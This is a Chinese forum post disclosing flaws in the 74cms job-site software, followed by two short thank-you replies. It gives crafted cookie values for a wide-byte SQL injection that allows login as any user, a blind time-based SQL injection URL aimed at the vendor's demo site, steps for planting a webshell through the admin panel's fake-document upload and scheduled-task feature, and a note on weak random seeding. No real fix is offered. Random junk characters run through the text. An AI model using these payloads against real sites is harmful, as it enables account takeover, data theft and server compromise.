找回密码
 加入怎通
查看: 486|回复: 2

[SEM行业] 骑士cms注入及后台拿shell

[复制链接]
寻路者 发表于 2013-01-07 16:50:49 | 显示全部楼层 |阅读模式
0x1 任意用户登录/ `# g6 o0 B& d( M" S8 ^

$ V' k  R6 n- E' L2 t9 q6 f  0x2 盲注& y2 c' d6 j2 J- R+ q- ~
3 @. C# `6 X7 @! _4 f! F2 _
  0x3 后台拿shell6 R' E& {' y& ]7 H0 R2 l1 o2 r
1 r! X+ s. H) ]2 H- F" i
  0x4 随机函数问题4 O* l5 q' O6 |1 N/ w* g6 W2 ?

3 l, S6 o* u7 C, j' z2 l  详细说明:
; A# `  }* V. `3 d7 y* z3 M$ L# `$ E& D4 f; l3 g
  0x1 任意用户登录) O: w2 c5 W5 A
. P' X( y+ x  Y7 [% x" n3 V/ Q& e
  user/login.php
7 [" x- n1 t( h9 N
# }9 [# D7 h& }7 Z5 z% O; T3 @/ s" r- @  elseif((empty($_SESSION['uid']) || empty($_SESSION['username']) || empty($_SESSION['utype'])) && $_COOKIE['QS']['username'] && $_COOKIE['QS']['password'] && $_COOKIE['QS']['uid'])
% x4 a! W) u+ O8 u, h
( l. E, N; Q! D: G8 r  {4 D4 }9 ^5 J8 }* z

# E8 h: L2 F9 U& G% _) L( N  if(check_cookie($_COOKIE['QS']['username'],$_COOKIE['QS']['password']))
- v! b) l4 E0 `) S# j" d3 O" Y1 v3 @1 u
  {
. y  y5 j9 }2 ]6 a. U2 Q# t. ?/ I" h, I/ O5 }
  update_user_info($_COOKIE['QS']['uid'],false,false);
: j; I: q! T- u7 R7 O) a: `* Z5 a8 s
  header("Location:".get_member_url($_SESSION['utype']));! w6 d* K& I: Y1 M! ^8 M

0 K/ m; s. T, A  }
* n8 ~0 M% q9 L" u. c
" M# j" u# M* f6 e% o  else
( f& x/ e: h% X8 i4 b: T$ d" m7 Q( I! d
  {8 q" R8 K0 k) L
4 l  W7 v; C2 N7 s, v* b
  unset($_SESSION['uid'],$_SESSION['username'],$_SESSION['utype'],$_SESSION['uqqid'],$_SESSION['activate_username'],$_SESSION['activate_email'],$_SESSION["openid"]);
9 Y, B, ~1 z! p$ u7 o* m1 S9 ?
9 O5 X9 ]! n" F6 ?9 x! P* ^  setcookie("QS[uid]","",time() - 3600,$QS_cookiepath, $QS_cookiedomain);9 i0 a- Z- f# s% e8 k3 S
: F6 C% M. K6 P) H" Z: [3 |; Q
  setcookie('QS[username]',"", time() - 3600,$QS_cookiepath, $QS_cookiedomain);, _6 ]5 v) u+ n0 n- s' O; ^

  B/ G3 b$ v2 C( J8 D! P( K: {! i8 x  setcookie('QS[password]',"", time() - 3600,$QS_cookiepath, $QS_cookiedomain);/ Z: R, y" T* C8 H1 U- l5 V" g

4 T9 H' ^. S/ x  setcookie("QS[utype]","",time() - 3600,$QS_cookiepath, $QS_cookiedomain);
4 g) G: Z8 X% x, k0 u4 d
% F2 p, |5 ^8 Z! j  header("Location:".url_rewrite('QS_login'));# N- N* k: k4 O* Q
/ T2 O7 K5 o8 j1 [2 P
  }4 v7 t* S* z4 X/ R$ d* n

  d* k9 V1 ~7 p% F' i& }  }* X4 Q' {1 n; A+ T/ O3 P7 Z% r
; n2 ]" E# _3 J0 P' @* j; J
  include/fun_user.php
2 P) ~, h. @, m1 F  Z
7 p$ i3 ]+ X- C6 V, X: `! H. @  //检测COOKIE
, z) j. B! e0 |7 V* w$ S
+ \# D* l9 O0 @  k) q  function check_cookie($name,$pwd){
' q5 G  Y/ s$ C* a3 ~1 v3 ?
5 k8 F' j' f$ f  global $db;2 ^* ~, W. t% S# q5 n7 {
2 h- l/ J& j2 G% c
  $row = $db->getone("SELECT COUNT(*) AS num FROM ".table('members')." WHERE username='{$name}' and password = '{$pwd}'");
1 d2 O2 B' a6 i# t; B) M
1 d" i5 C5 C! M  if($row['num'] > 0)$ t1 v; `3 Y3 l6 F1 q

. w1 A2 N1 |) m) Q+ y7 V  {' B6 B! b) n! p$ E3 I% c

7 [% J1 Q5 m" Z$ v1 e4 L  return true;. b: T- ^6 Y$ |: X

/ j* ~" E2 t7 Q1 W0 _' u& y" b  }else{; a% }0 G3 p. K4 o  ^  l
; r% G, h& {  j: q" g8 X7 Q2 e
  return false;# G8 s, E! b8 u% W$ Q7 n# O; S

# ]: a0 d; j) ^" J0 K1 Y  I  }
. L6 A( {! F- u' E' M, y5 c  \
% j  \+ X1 K/ I. S& D$ w* [3 e  }
1 c  p6 P) ?. u5 \* y3 {; p, o8 S( d; k3 @9 Q
  构造cookie如下
, d. t+ {+ D& e, g. p+ v1 ?  o- y6 i$ U7 \3 d5 c
  QS[uid] 2
! w' }! S: t" S! Y8 l" w* j  d8 [1 X! ?; i' \/ A
  QS[utype] 1
% k! f3 t+ l  E' q, D- o/ C* K" d) o" G3 l) @7 y$ W* d
  QS[password] 111111111111111111111. o3 |! j: W: ]

! O: x- D8 r; f0 t& V" @- Q9 I  QS[username]%bf%27 or 1=1 %23
" R; W4 |# C& d# _9 m; Y& Q1 Z3 z& P) N+ L5 X5 f
  uid 为假冒用户的ID utype为用户类型password任意3 v( o2 X1 i" A1 s8 a7 _9 _

* h  t& K. n, D* D4 Z  {: X  0x2 盲注# Q# {" n% r1 x

% r; W1 b- W( v" e! u  http://demo32.74cms.com//resume/resume-list.php?key=test00%bf')/**/and+if((select/**/admin_name/**/from/**/qs_admin/**/limit/**/0,1)=0x61646D696E,benchmark(1000000000,(select/**/1)),1)/**/%23+ j$ d8 `; {9 G) @5 `( y( ~
* ?5 Y+ }/ b& _6 n
  上面两个都是宽字节注入,如果你能猜出管理员密码,还能解出双重md5的话,还能猜出后台路径,继续看下面
2 Q; Q4 j: P+ D6 t; ?1 P8 a. a) \; [' c
  0x3 后台拿shell
! U) o4 \, M* i8 n+ O1 K
0 y* c, Y6 p: p) `$ G. U9 L: k- [  1.先关闭csrf防御功能- J6 b" T: A3 U0 a/ C

" O# u- k9 Y3 Z# M! u& Z! T  ~) \  2.在hr工具箱中添加一个伪造的doc,内容为,记下路径data/hrtools/2012/06/1339941553308.doc/ u0 L5 ^, f) U* ~
9 a7 x  e0 D+ J, j
  3.在工具-计划任务中添加任务,脚本任务填../../data/hrtools/2012/06/1339941553308.doc7 F5 m& O- y/ h: z: `8 s
( K" \% T* t' j% Y7 w( u
  4.然后执行
: O0 s* `9 M7 C) P( h3 Q6 B& @5 g
2 u% p$ d7 u/ x" C  0x4 随机函数问题(几乎可以无视,纯属个人YY)! ]  l" B. h; ?* r& |& Y

% n0 `, p8 @. b& f, ^1 _  在admin_common.fun.inc.php中有个$QS_pwdhash是在安装的时候赋值的,只要能猜出就可已不用解双重md5了。
0 W# s3 c  M; X' }: n$ d8 O( m, p- X
  这个$QS_pwdhash是由randstr生成6 z: |1 G2 @. s& x1 Q8 F
, z' o, R* \" U: l
  function randstr($length=6)! m1 K% k) E, J" {8 D3 O2 W2 P
  w2 Z' M# a/ v
  {8 r' @' S; O4 a2 }" d/ }5 N
* P0 K5 c9 Y. a; o% {* {6 K
  $hash='';8 H% l9 z7 N) Z( t* i; U& l
  L1 \+ e1 T! h0 ]+ n3 p
  $chars= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz@#!~?:-=';& j3 V! F0 t$ ~/ ~5 b" }
9 s% N7 b" U9 r, @7 N7 G
  $max=strlen($chars)-1;. h2 r, [5 ?* o/ N

. O' I4 q0 {5 f; l3 g3 L# N5 H  mt_srand((double)microtime()*1000000);
. R1 w' f1 Z  o, A$ o6 s/ L' Q; [
  for($i=0;$i<$length;$i++) {+ Q  w8 ]! @; R1 {! y1 I
0 o: H- u6 R+ [* \8 z* `
  $hash.=$chars[mt_rand(0,$max)];8 \0 B2 s# b5 ]' p$ w9 S: M* P4 N
: K& y4 c$ q1 A: l' Z6 t5 T
  }
' R2 s/ C' Q2 h1 ?( h! X6 G+ w* y' _
  return $hash;) ?/ ]% g6 q& R# P, V" G

  ~# i7 ?( l% b% E# f. I- y( E+ S' s+ G  }
9 n3 u! v* r0 d; N5 C
8 X8 p( D& I2 i5 c4 |  生成长度为6的随机数,mt_srand()播种一样,就会得到一样的随机数,所以我们最多要猜1000000次就可以了(蛋疼)
$ H! S; J; n1 {1 [2 D# Z2 h; {1 l- B' Z9 x1 A: G1 _
  漏洞证明:
; Y/ Z$ C, ]7 x( a3 m* v$ F+ i! h% x" G6 p
  修复方案:
. k! o2 @4 y9 l- T/ p% y# G
2 [: x4 h, q4 k' Z" J) m  do it yourself~3 t, Z  y9 \& B9 ~- A* q
: y8 F( E% u8 l9 w1 L, E6 E
解决一切网站安全,湖盟云防火墙:hnhack.com
回复

使用道具 举报

leonseo444 发表于 2026-01-07 03:59:27 | 显示全部楼层
学习到了,之前一直没注意过这个点,受教了
回复 支持 反对

使用道具 举报

彼岸花 发表于 2026-03-13 13:46:09 | 显示全部楼层
刚好遇到类似问题,看完这个帖子心里有底了
回复 支持 反对

使用道具 举报

    您需要登录后才可以回帖 登录 | 加入怎通

    本版积分规则

    QQ|手机版|小黑屋|网站地图|真牛社区 ( 苏ICP备2023040716号-2 )

    GMT+8, 2026-4-28 03:00 , Processed in 0.315529 second(s), 26 queries , Gzip On.

    免责声明:本站信息来自互联网,本站不对其内容真实性负责,如有侵权等情况请联系420897364#qq.com(把#换成@)删除。

    Powered by Discuz! X3.5

    快速回复 返回顶部 返回列表